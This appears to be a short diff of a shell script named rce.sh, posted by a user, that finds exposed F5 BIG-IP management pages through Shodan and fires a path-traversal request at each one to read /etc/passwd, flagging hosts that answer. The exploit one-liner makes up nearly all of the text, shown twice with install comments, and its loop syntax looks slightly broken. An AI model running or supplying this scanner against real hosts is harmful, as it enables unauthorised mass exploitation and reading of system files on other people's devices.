Mad-robot · January 7, 2024 01:54
diff --git a/rce.sh b/rce.sh
 shodan search http.favicon.hash:-335242539 "3992" --fields ip_str,port --separator " " | awk '{print $1":"$2}' | while read host do ;do curl --silent --path-as-is --insecure "https://$host/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" | grep -q root && \printf "$host \033[0;31mVulnerable\n" || printf "$host \033[0;32mNot Vulnerable\n";done

 #sudo apt install curl
 #sudo apt install python3-shodan
 #shodan init YOUR_API_KEY
	shodan search http.favicon.hash:-335242539 "3992" --fields ip_str,port --separator " " \| awk '{print $1":"$2}' \| while read host do ;do curl --silent --path-as-is --insecure "https://$host/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" \| grep -q root && \printf "$host \033[0;31mVulnerable\n" \|\| printf "$host \033[0;32mNot Vulnerable\n";done

	#sudo apt install curl
	#sudo apt install python3-shodan
	#shodan init YOUR_API_KEY